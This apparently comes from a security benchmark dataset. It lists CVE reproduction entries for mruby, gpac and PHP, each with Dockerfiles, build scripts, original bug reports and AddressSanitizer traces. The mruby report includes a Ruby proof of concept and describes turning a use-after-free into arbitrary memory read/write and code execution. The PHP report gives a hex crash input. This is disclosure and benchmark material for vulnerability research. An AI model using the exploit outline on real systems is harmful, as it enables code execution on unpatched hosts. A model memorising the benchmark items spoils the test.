"sha": "496702e3c2486adae863fd919f20e7a7490c847c",
"url": "https://github.com/LibreDWG/libredwg/commit/496702e3c2486adae863fd919f20e7a7490c847c"
},
{
"sha": "8a75ac27367343e531dd7ee1b61db70edf2e816a",
"url": "https://github.com/LibreDWG/libredwg/commit/8a75ac27367343e531dd7ee1b61db70edf2e816a"
},
{
"sha": "07c078aca71840f0f9a0dffb3032056d043858b0",
"url": "https://github.com/LibreDWG/libredwg/commit/07c078aca71840f0f9a0dffb3032056d043858b0"
},
{
"sha": "12dafc13a96cdaa019f95a6ca245e8b29d1763a5",
"url": "https://github.com/LibreDWG/libredwg/commit/12dafc13a96cdaa019f95a6ca245e8b29d1763a5"
},
{
"sha": "e03b16b603c566c317f7c5161cc7550360081dd0",
"url": "https://github.com/LibreDWG/libredwg/commit/e03b16b603c566c317f7c5161cc7550360081dd0"
},
{
"sha": "92feac9b0dcfe3193d479fc245f95a8d025db4d7",
"url": "https://github.com/LibreDWG/libredwg/commit/92feac9b0dcfe3193d479fc245f95a8d025db4d7"
},
{
"sha": "3f0faa6944648abca5fb64c6fc8f88b0dcbd9d1a",
"url": "https://github.com/LibreDWG/libredwg/commit/3f0faa6944648abca5fb64c6fc8f88b0dcbd9d1a"
},
{
"sha": "14a3ffe26d4bcd267c42471caebaf21185c16a4c",
"url": "https://github.com/LibreDWG/libredwg/commit/14a3ffe26d4bcd267c42471caebaf21185c16a4c"
},
{
"sha": "d7bdfbc83211fb8732ab12382f2c3bfab51e3480",
"url": "https://github.com/LibreDWG/libredwg/commit/d7bdfbc83211fb8732ab12382f2c3bfab51e3480"
},
{
"sha": "107b5e47f3de5d333405e0a201f495a4a905e96b",
"url": "https://github.com/LibreDWG/libredwg/commit/107b5e47f3de5d333405e0a201f495a4a905e96b"
},
{
"sha": "f6db9268d2d3ad568b6d3ba432ca2b5f2b3804a9",
"url": "https://github.com/LibreDWG/libredwg/commit/f6db9268d2d3ad568b6d3ba432ca2b5f2b3804a9"
},
{
"sha": "c0bbb7388465800f01683fa90d434026c852f06c",
"url": "https://github.com/LibreDWG/libredwg/commit/c0bbb7388465800f01683fa90d434026c852f06c"
},
{
"sha": "ea93bca48a63ddf70f7df017f2c21f38469a83af",
"url": "https://github.com/LibreDWG/libredwg/commit/ea93bca48a63ddf70f7df017f2c21f38469a83af"
},
{
"sha": "817e586f2bbce42cf9e75e118c1c7feae941669b",
"url": "https://github.com/LibreDWG/libredwg/commit/817e586f2bbce42cf9e75e118c1c7feae941669b"
},
{
"sha": "41ff7afc44babae1236c3587024ee84b57006990",
"url": "https://github.com/LibreDWG/libredwg/commit/41ff7afc44babae1236c3587024ee84b57006990"
},
{
"sha": "55295f939b6a8cfd7a25c40ea780d8c83e67b0db",
"url": "https://github.com/LibreDWG/libredwg/commit/55295f939b6a8cfd7a25c40ea780d8c83e67b0db"
},
{
"sha": "5064790b1bf390807bfa727139e40a3afd85183e",
"url": "https://github.com/LibreDWG/libredwg/commit/5064790b1bf390807bfa727139e40a3afd85183e"
},
{
"sha": "d6f8f351c34c4ad2b9e300a8b0718439467bd55a",
"url": "https://github.com/LibreDWG/libredwg/commit/d6f8f351c34c4ad2b9e300a8b0718439467bd55a"
},
{
"sha": "ba6aa54df0c78bc930b4ec71f72767f1a011d96e",
"url": "https://github.com/LibreDWG/libredwg/commit/ba6aa54df0c78bc930b4ec71f72767f1a011d96e"
},
{
"sha": "b7369a17445f8831582af3708a5e84362b0db536",
"url": "https://github.com/LibreDWG/libredwg/commit/b7369a17445f8831582af3708a5e84362b0db536"
}
] |
mruby.cve-2018-10199
|
mruby/mruby
|
fabc460880fbabd18369a7ef8715538c83ebffc9
| 2018-04-13T16:18:49
|
mruby
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool ruby bison
RUN git clone https://github.com/mruby/mruby mruby
RUN git -C mruby checkout fabc460880fbabd18369a7ef8715538c83ebffc9
WORKDIR $SRC/mruby
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
export LD=clang
export LDFLAGS="$CFLAGS"
./minirake clean && ./minirake -j$(nproc) all
|
/src/mruby
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/mruby/mruby/issues/4001
## Description:
Issue: mruby/mruby#4001
Title: Use after free in File#initilialize_copy
State: closed
Created by: clayton-shopify
Created at: 2018-04-16 15:50:03+00:00
Issue Body:
The following was reported by https://hackerone.com/pnoltof:
-----
Root Cause:
==========
calling `File#initilialize_copy` with an invalid argument, causes the function to terminate early, leaving a dangling pointer in the recievers `DATA_PTR`.
```
mrb_io_initialize_copy(mrb_state *mrb, mrb_value copy)
{
mrb_value orig;
mrb_value buf;
struct mrb_io *fptr_copy;
struct mrb_io *fptr_orig;
mrb_bool failed = TRUE;
mrb_get_args(mrb, "o", &orig);
fptr_copy = (struct mrb_io *)DATA_PTR(copy);
if (fptr_copy != NULL) {
fptr_finalize(mrb, fptr_copy, FALSE);
mrb_free(mrb, fptr_copy);
}
fptr_copy = (struct mrb_io *)mrb_io_alloc(mrb);
fptr_orig = io_get_open_fptr(mrb, orig); #can raise exception
DATA_TYPE(copy) = &mrb_io_type;
DATA_PTR(copy) = fptr_copy;
[....]
}
```
Details & Impact
=======
initialize_copy first frees the `DATA_PTR(self)`, then it gets the data pointer for the first argument. This operation can raise an exception, in which case `DATA_PTR(self)` remains dangeling. By proper heap feng shui, one can allocate another value (such as string) in the same spot. Calling `a.close()` will set `DATA_PTR(a)->fd = -1`, effectively setting some memory to `0xffffffff`. This can be used to change the size of a string object. The corrupted string can then be used to read/write memory. This can be used to obtain arbitrary code execution.
```ruby
a = File.new(0)
#needs proper heap massaging for reallocation
a.initialize_copy(0) # DATA_PTR(a) is now pointing to free'd memory
#allocate string at old position
str = "foo".gsub("o","asdfasdf")
a.close() #overwrites offset 0 on DATA_PTR(a) with ffffffff
#str length is now 0xfffffffff, we can read/write arbitrary memory
```
Bugfix
======
Move `fptr_orig = io_get_open_fptr(mrb, orig);` to the top of the function (next to `mrb_get_args(mrb, "o", &orig);`).
Steps to Reproduce
==================
obtain current mruby version
```
git clone https://github.com/mruby/mruby.git
git checkout fabc460880fbabd18369a
CC=clang CFLAGS="-fsanitize=address -fsanitize-recover=address -ggdb -O0" LDFLAGS="-fsanitize=address" LD=clang make
```
run testcase
```
$ ASAN_OPTIONS=halt_on_error=false:allow_addr2line=true:allocator_may_return_null=1 ./bin/mruby ../uaf_file.rb
trace (most recent call last):
[0] ../uaf_file.rb:3
../uaf_file.rb:3: wrong argument type Fixnum (expected Data) (TypeError)
=================================================================
==9006==ERROR: AddressSanitizer: heap-use-after-free on address 0x602000019890 at pc 0x0000006ed5ce bp 0x7ffd43f26b10 sp 0x7ffd43f26b08
READ of size 4 at 0x602000019890 thread T0
#0 0x6ed5cd in fptr_finalize /home/me/grammarfuzz/mruby/mrbgems/mruby-io/src/io.c:650
SUMMARY: AddressSanitizer: heap-use-after-free /home/me/grammarfuzz/mruby/mrbgems/mruby-io/src/io.c:650 in fptr_finalize
Shadow bytes around the buggy address:
0x0c047fffb2c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fffb2d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fffb2e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fffb2f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fffb300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa 00 00
=>0x0c047fffb310: fa fa[fd]fd fa fa 00 07 fa fa 00 fa fa fa 00 00
0x0c047fffb320: fa fa 00 00 fa fa fd fd fa fa fd fd fa fa fd fa
0x0c047fffb330: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fa
0x0c047fffb340: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fd fd
0x0c047fffb350: fa fa 00 fa fa fa fd fa fa fa 00 fa fa fa 00 00
0x0c047fffb360: fa fa 00 02 fa fa 00 fa fa fa 00 00 fa fa 00 fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
[...] #various reads
=================================================================
==9006==ERROR: AddressSanitizer: heap-use-after-free on address 0x602000019890 at pc 0x0000006ed77f bp 0x7ffd43f26b10 sp 0x7ffd43f26b08
WRITE of size 4 at 0x602000019890 thread T0
#0 0x6ed77e in fptr_finalize /home/me/grammarfuzz/mruby/mrbgems/mruby-io/src/io.c:664
#1 0x6e7a14 in mrb_io_free /home/me/grammarfuzz/mruby/mrbgems/mruby-io/src/io.c:260
#2 0x5e4f4f in obj_free /home/me/grammarfuzz/mruby/src/gc.c:841
#3 0x5e43e1 in free_heap /home/me/grammarfuzz/mruby/src/gc.c:391
#4 0x5e4ffc in mrb_gc_destroy /home/me/grammarfuzz/mruby/src/gc.c:400
#5 0x537203 in mrb_close /home/me/grammarfuzz/mruby/src/state.c:263
#6 0x4eda6a in cleanup /home/me/grammarfuzz/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:165
#7 0x4ec79d in main /home/me/grammarfuzz/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:251
#8 0x7ff9e25d282f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
#9 0x419a18 in _start (/home/me/grammarfuzz/mruby/bin/mruby+0x419a18)
0x602000019890 is located 0 bytes inside of 16-byte region [0x602000019890,0x6020000198a0)
freed by thread T0 here:
#0 0x4b99c0 in __interceptor_cfree.localalias.0 asan_malloc_linux.cc.o
#1 0x53501b in mrb_default_allocf /home/me/grammarfuzz/mruby/src/state.c:51
#2 0x5e3ce7 in mrb_free /home/me/grammarfuzz/mruby/src/gc.c:274
#3 0x6ec52f in mrb_io_initialize_copy /home/me/grammarfuzz/mruby/mrbgems/mruby-io/src/io.c:567
#4 0x50ac0a in mrb_vm_exec /home/me/grammarfuzz/mruby/src/vm.c:1469
#5 0x4feea1 in mrb_vm_run /home/me/grammarfuzz/mruby/src/vm.c:947
#6 0x533449 in mrb_top_run /home/me/grammarfuzz/mruby/src/vm.c:3002
#7 0x652ea3 in mrb_load_exec /home/me/grammarfuzz/mruby/mrbgems/mruby-compiler/core/parse.y:5835
#8 0x653b05 in mrb_load_file_cxt /home/me/grammarfuzz/mruby/mrbgems/mruby-compiler/core/parse.y:5844
#9 0x4ec267 in main /home/me/grammarfuzz/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:227
#10 0x7ff9e25d282f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
previously allocated by thread T0 here:
#0 0x4b9ec8 in realloc (/home/me/grammarfuzz/mruby/bin/mruby+0x4b9ec8)
#1 0x535035 in mrb_default_allocf /home/me/grammarfuzz/mruby/src/state.c:55
#2 0x5e2b16 in mrb_realloc_simple /home/me/grammarfuzz/mruby/src/gc.c:206
#3 0x5e31f4 in mrb_realloc /home/me/grammarfuzz/mruby/src/gc.c:220
#4 0x5e3b83 in mrb_malloc /home/me/grammarfuzz/mruby/src/gc.c:242
#5 0x6ebf6e in mrb_io_alloc /home/me/grammarfuzz/mruby/mrbgems/mruby-io/src/io.c:270
#6 0x6eeb57 in mrb_io_initialize /home/me/grammarfuzz/mruby/mrbgems/mruby-io/src/io.c:629
#7 0x510a2d in mrb_vm_exec /home/me/grammarfuzz/mruby/src/vm.c:1675
#8 0x4feea1 in mrb_vm_run /home/me/grammarfuzz/mruby/src/vm.c:947
#9 0x4f661f in mrb_run /home/me/grammarfuzz/mruby/src/vm.c:2988
#10 0x4f43d9 in mrb_funcall_with_block /home/me/grammarfuzz/mruby/src/vm.c:505
#11 0x6949ad in mrb_instance_new /home/me/grammarfuzz/mruby/src/class.c:1595
#12 0x50ac0a in mrb_vm_exec /home/me/grammarfuzz/mruby/src/vm.c:1469
#13 0x4feea1 in mrb_vm_run /home/me/grammarfuzz/mruby/src/vm.c:947
#14 0x533449 in mrb_top_run /home/me/grammarfuzz/mruby/src/vm.c:3002
#15 0x652ea3 in mrb_load_exec /home/me/grammarfuzz/mruby/mrbgems/mruby-compiler/core/parse.y:5835
#16 0x653b05 in mrb_load_file_cxt /home/me/grammarfuzz/mruby/mrbgems/mruby-compiler/core/parse.y:5844
#17 0x4ec267 in main /home/me/grammarfuzz/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:227
#18 0x7ff9e25d282f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
SUMMARY: AddressSanitizer: heap-use-after-free /home/me/grammarfuzz/mruby/mrbgems/mruby-io/src/io.c:664 in fptr_finalize
Shadow bytes around the buggy address:
0x0c047fffb2c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fffb2d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fffb2e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fffb2f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fffb300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa 00 00
=>0x0c047fffb310: fa fa[fd]fd fa fa 00 07 fa fa 00 fa fa fa 00 00
0x0c047fffb320: fa fa 00 00 fa fa fd fd fa fa fd fd fa fa fd fa
0x0c047fffb330: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fa
0x0c047fffb340: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fd fd
0x0c047fffb350: fa fa 00 fa fa fa fd fa fa fa 00 fa fa fa 00 00
0x0c047fffb360: fa fa 00 02 fa fa 00 fa fa fa 00 00 fa fa 00 fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
=================================================================
==9006==ERROR: AddressSanitizer: heap-use-after-free on address 0x602000019894 at pc 0x0000006ed7ea bp 0x7ffd43f26b10 sp 0x7ffd43f26b08
READ of size 4 at 0x602000019894 thread T0
[....]
```
Authors:
Daniel Teuchert, Cornelius Aschermann, Tommaso Frassetto, Tigist Abera
|
[] |
[
{
"sha": "b51b21fc63c9805862322551387d9036f2b63433",
"url": "https://github.com/mruby/mruby/commit/b51b21fc63c9805862322551387d9036f2b63433"
}
] |
gpac.cve-2021-32268
|
gpac/gpac
|
362fc486b5c0eea04f26793d5623f6a9272bd85a
| 2020-09-07T02:12:09
|
gpac
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y build-essential pkg-config libz-dev
RUN git clone https://github.com/gpac/gpac gpac
RUN git -C gpac checkout 362fc486b5c0eea04f26793d5623f6a9272bd85a
WORKDIR $SRC/gpac
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./configure --static-build --extra-cflags="${CFLAGS}" --extra-ldflags="${CFLAGS}"
make -j$(nproc)
|
/src/gpac
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/gpac/gpac/issues/1587
## Description:
Issue: gpac/gpac#1587
Title: A heap-buffer-overflow in box_dump.c:350
State: closed
Created by: seviezhou
Created at: 2020-09-04 15:05:21+00:00
Issue Body:
## System info
Ubuntu x86_64, gcc (Ubuntu 5.5.0-12ubuntu1), MP4Box (latest master [5a884e](https://github.com/gpac/gpac/commit/5a884e376e1f67b3d40ec91c0b70ab49219fe3cd))
## Configure
CFLAGS="-g -fsanitize=address" LDFLAGS="-fsanitize=address" ./configure --static-mp4box
## Command line
./bin/gcc/MP4Box -disox -ttxt -2 -dump-chap-ogg -dump-cover -drtp -bt -out /dev/null @@
## AddressSanitizer output
```
=================================================================
==66502==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000e054 at pc 0x7f91d0a841d9 bp 0x7ffcd7145d60 sp 0x7ffcd71454d8
READ of size 5 at 0x60200000e054 thread T0
#0 0x7f91d0a841d8 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x601d8)
#1 0x7f91d0a84bbc in __interceptor_vfprintf (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x60bbc)
#2 0x55ad61358dd0 in gf_fprintf utils/os_file.c:1512
#3 0x55ad619271c4 in url_box_dump isomedia/box_dump.c:350
#4 0x55ad61979ed0 in gf_isom_box_dump isomedia/box_funcs.c:1926
#5 0x55ad6192490a in gf_isom_box_array_dump isomedia/box_dump.c:101
#6 0x55ad6197a057 in gf_isom_box_dump_done isomedia/box_funcs.c:1933
#7 0x55ad6192d385 in dref_box_dump isomedia/box_dump.c:863
#8 0x55ad61979ed0 in gf_isom_box_dump isomedia/box_funcs.c:1926
#9 0x55ad6192490a in gf_isom_box_array_dump isomedia/box_dump.c:101
#10 0x55ad6197a057 in gf_isom_box_dump_done isomedia/box_funcs.c:1933
#11 0x55ad61927135 in dinf_box_dump isomedia/box_dump.c:339
#12 0x55ad61979ed0 in gf_isom_box_dump isomedia/box_funcs.c:1926
#13 0x55ad6192490a in gf_isom_box_array_dump isomedia/box_dump.c:101
#14 0x55ad6197a057 in gf_isom_box_dump_done isomedia/box_funcs.c:1933
#15 0x55ad61931825 in minf_box_dump isomedia/box_dump.c:1253
#16 0x55ad61979ed0 in gf_isom_box_dump isomedia/box_funcs.c:1926
#17 0x55ad6192490a in gf_isom_box_array_dump isomedia/box_dump.c:101
#18 0x55ad6197a057 in gf_isom_box_dump_done isomedia/box_funcs.c:1933
#19 0x55ad619323a5 in mdia_box_dump isomedia/box_dump.c:1296
#20 0x55ad61979ed0 in gf_isom_box_dump isomedia/box_funcs.c:1926
#21 0x55ad6192490a in gf_isom_box_array_dump isomedia/box_dump.c:101
#22 0x55ad6197a057 in gf_isom_box_dump_done isomedia/box_funcs.c:1933
#23 0x55ad61928bb8 in trak_box_dump isomedia/box_dump.c:550
#24 0x55ad61979ed0 in gf_isom_box_dump isomedia/box_funcs.c:1926
#25 0x55ad6192490a in gf_isom_box_array_dump isomedia/box_dump.c:101
#26 0x55ad6197a057 in gf_isom_box_dump_done isomedia/box_funcs.c:1933
#27 0x55ad61925df0 in moov_box_dump isomedia/box_dump.c:217
#28 0x55ad61979ed0 in gf_isom_box_dump isomedia/box_funcs.c:1926
#29 0x55ad61924c92 in gf_isom_dump isomedia/box_dump.c:135
#30 0x55ad612fef09 in dump_isom_xml /home/seviezhou/gpac/applications/mp4box/filedump.c:1671
#31 0x55ad612d0754 in mp4boxMain /home/seviezhou/gpac/applications/mp4box/main.c:5550
#32 0x7f91cfa50b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#33 0x55ad612afbe9 in _start (/home/seviezhou/gpac/bin/gcc/MP4Box+0x280be9)
0x60200000e054 is located 0 bytes to the right of 4-byte region [0x60200000e050,0x60200000e054)
allocated by thread T0 here:
#0 0x7f91d0abc612 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98612)
#1 0x55ad62bea6a9 in url_box_read isomedia/box_code_base.c:580
SUMMARY: AddressSanitizer: heap-buffer-overflow ??:0 ??
Shadow bytes around the buggy address:
0x0c047fff9bb0: fa fa 00 fa fa fa 00 00 fa fa 00 00 fa fa 02 fa
0x0c047fff9bc0: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa 00 00
0x0c047fff9bd0: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa 00 00
0x0c047fff9be0: fa fa 00 00 fa fa 00 05 fa fa 00 00 fa fa 00 00
0x0c047fff9bf0: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa 00 00
=>0x0c047fff9c00: fa fa 00 fa fa fa 00 00 fa fa[04]fa fa fa 00 00
0x0c047fff9c10: fa fa 00 00 fa fa 00 05 fa fa 00 00 fa fa 00 00
0x0c047fff9c20: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa 00 00
0x0c047fff9c30: fa fa 00 00 fa fa 00 00 fa fa fd fa fa fa 00 fa
0x0c047fff9c40: fa fa 00 00 fa fa 00 00 fa fa 00 07 fa fa fd fa
0x0c047fff9c50: fa fa 00 02 fa fa 04 fa fa fa fd fa fa fa 07 fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==66502==ABORTING
```
## POC
[heap-overflow-url_box_dump-box_dump-350.zip](https://github.com/gpac/gpac/files/5175604/heap-overflow-url_box_dump-box_dump-350.zip)
Attachments:
https://github.com/gpac/gpac/files/5175604/heap-overflow-url_box_dump-box_dump-350.zip
Commit References:
5a884e376e1f67b3d40ec91c0b70ab49219fe3cd
|
[
{
"content": "/* Copyright 2021 Google LLC\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n http://www.apache.org/licenses/LICENSE-2.0\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n#include <stdio.h>\n#include <unistd.h>\n\n#include <gpac/internal/isomedia_dev.h>\n#include <gpac/constants.h>\n\nint LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {\n char filename[256];\n sprintf(filename, \"/tmp/libfuzzer.%d\", getpid());\n\n FILE *fp = fopen(filename, \"wb\");\n if (!fp) {\n return 0;\n }\n fwrite(data, size, 1, fp);\n fclose(fp);\n\n GF_ISOFile *movie = NULL;\n movie = gf_isom_open_file(filename, GF_ISOM_OPEN_READ_DUMP, NULL);\n if (movie != NULL) {\n gf_isom_close(movie);\n }\n unlink(filename);\n return 0;\n}\n",
"filename": "fuzz_parse.c"
}
] |
[
{
"sha": "388ecce75d05e11fc8496aa4857b91245007d26e",
"url": "https://github.com/gpac/gpac/commit/388ecce75d05e11fc8496aa4857b91245007d26e"
},
{
"sha": "5a884e376e1f67b3d40ec91c0b70ab49219fe3cd",
"url": "https://github.com/gpac/gpac/commit/5a884e376e1f67b3d40ec91c0b70ab49219fe3cd"
}
] |
php.cve-2022-31627
|
php/php-src
|
8c668ecf8fe6daa9144101cee099b9a155c54c15
| 2022-07-05T16:18:56
|
php-src
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y autoconf automake libtool bison re2c pkg-config
RUN apt-get install -y autoconf automake libtool bison re2c pkg-config
RUN git clone https://github.com/php/php-src php-src
RUN git -C php-src checkout 8c668ecf8fe6daa9144101cee099b9a155c54c15
WORKDIR $SRC/php-src
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
export CFLAGS="$CFLAGS -fno-sanitize=object-size"
export CXXFLAGS="$CXXFLAGS -fno-sanitize=object-size"
export CFLAGS="$CFLAGS -DPROFITABILITY_CHECKS=0"
./buildconf --force
./configure \
--disable-all \
--enable-debug-assertions \
--enable-option-checking=fatal \
--enable-exif \
--enable-opcache \
--without-pcre-jit \
--disable-phpdbg \
--disable-cgi \
--with-pic
make -j$(nproc)
|
/src/php-src
|
address
|
================= Bug Report (1/1) ==================
## Source: PHP Bugs
## URL: https://bugs.php.net/bug.php?id=81723
## Description:
PHP Bug ID: 81723
Summary: Heap buffer overflow in finfo_buffer
Status: Closed
PHP Version: 8.1.7
Assigned: stas (profile)
CVE-ID: 2022-31627
Description:
Description:
------------
The following content is causing a heap-based buffer overflow in finfo_buffer. This was found using AFL++.
00000000 00 01 8a 75 70 00 10 97 db 97 97 98 97 97 7d 87 |...up.........}.|
00000010 97 97 97 00 00 92 00 1f 00 51 00 00 00 00 00 00 |.........Q......|
00000020 00 00 00 ff ff 7f ff 00 00 00 00 00 1e 00 00 00 |................|
00000030 00 00 00 00 00 00 00 00 00 0c 00 00 00 00 00 00 |................|
00000040 00 00 00 00 00 00 00 00 dc 00 00 00 01 00 00 00 |................|
00000050 00 00 00 00 00 4f 01 19 00 00 7f 00 00 00 00 00 |.....O..........|
00000060 18 00 39 00 00 00 00 00 00 00 00 00 00 00 00 00 |..9.............|
00000070 00 00 dc 00 00 00 01 00 00 00 00 00 00 00 00 4f |...............O|
00000080 01 19 00 00 7f 00 00 f5 00 00 00 00 ee ff 00 00 |................|
00000090 00 00 00 00 00 00 01 00 00 fd 00 |...........|
Tested against PHP >= 8.1.
ASAN output:
==4777==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60e000000000 at pc 0x000000faba20 bp 0x7ffc087ab460 sp 0x7ffc087ab458
READ of size 8 at 0x60e000000000 thread T0
#0 0xfaba1f in zend_mm_realloc_heap /home/user/php-src/Zend/zend_alloc.c:1561:3
#1 0xfaba1f in _erealloc /home/user/php-src/Zend/zend_alloc.c:2582:9
#2 0xa94368 in file_check_mem /home/user/php-src/ext/fileinfo/libmagic/funcs.c:623:14
#3 0xa9f566 in match /home/user/php-src/ext/fileinfo/libmagic/softmagic.c:458:9
#4 0xaa2748 in file_softmagic /home/user/php-src/ext/fileinfo/libmagic/softmagic.c:138:13
#5 0xaa2748 in mget /home/user/php-src/ext/fileinfo/libmagic/softmagic.c:1836:8
#6 0xa9f04c in match /home/user/php-src/ext/fileinfo/libmagic/softmagic.c:360:12
#7 0xaa49b2 in mget /home/user/php-src/ext/fileinfo/libmagic/softmagic.c:1885:8
#8 0xa9f04c in match /home/user/php-src/ext/fileinfo/libmagic/softmagic.c:360:12
#9 0xa9e37e in file_softmagic /home/user/php-src/ext/fileinfo/libmagic/softmagic.c:138:13
#10 0xa93762 in file_buffer /home/user/php-src/ext/fileinfo/libmagic/funcs.c:459:7
#11 0xa98c42 in magic_buffer /home/user/php-src/ext/fileinfo/libmagic/magic.c:273:6
#12 0xa6eb87 in _php_finfo_get_type /home/user/php-src/ext/fileinfo/fileinfo.c:346:23
#13 0x12947cd in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER /home/user/php-src/Zend/zend_vm_execute.h:1250:2
#14 0x114f0a9 in execute_ex /home/user/php-src/Zend/zend_vm_execute.h:55687:7
#15 0x114f93c in zend_execute /home/user/php-src/Zend/zend_vm_execute.h:60251:2
#16 0x1071860 in zend_eval_stringl /home/user/php-src/Zend/zend_execute_API.c:1271:4
#17 0x1071e15 in zend_eval_stringl_ex /home/user/php-src/Zend/zend_execute_API.c:1313:11
#18 0x1071e15 in zend_eval_string_ex /home/user/php-src/Zend/zend_execute_API.c:1323:9
#19 0x153f8ff in do_cli /home/user/php-src/sapi/cli/php_cli.c:998:5
#20 0x153dae0 in main /home/user/php-src/sapi/cli/php_cli.c:1336:18
#21 0x7f612802e082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082)
#22 0x602b6d in _start (/home/user/php-src-8.1/sapi/cli/php+0x602b6d)
0x60e000000000 is located 64 bytes to the left of 154-byte region [0x60e000000040,0x60e0000000da)
allocated by thread T0 here:
#0 0x667654 in strdup (/home/user/php-src-8.1/sapi/cli/php+0x667654)
#1 0x15595a7 in save_ps_args /home/user/php-src/sapi/cli/ps_title.c:195:30
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/user/php-src/Zend/zend_alloc.c:1561:3 in zend_mm_realloc_heap
Shadow bytes around the buggy address:
0x0c1c7fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c1c7fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c1c7fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c1c7fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c1c7fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c1c7fff8000:[fa]fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c1c7fff8010: 00 00 00 00 00 00 00 00 00 00 00 02 fa fa fa fa
0x0c1c7fff8020: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
0x0c1c7fff8030: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa
0x0c1c7fff8040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c1c7fff8050: 00 00 00 00 fa fa fa fa fa fa fa fa 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
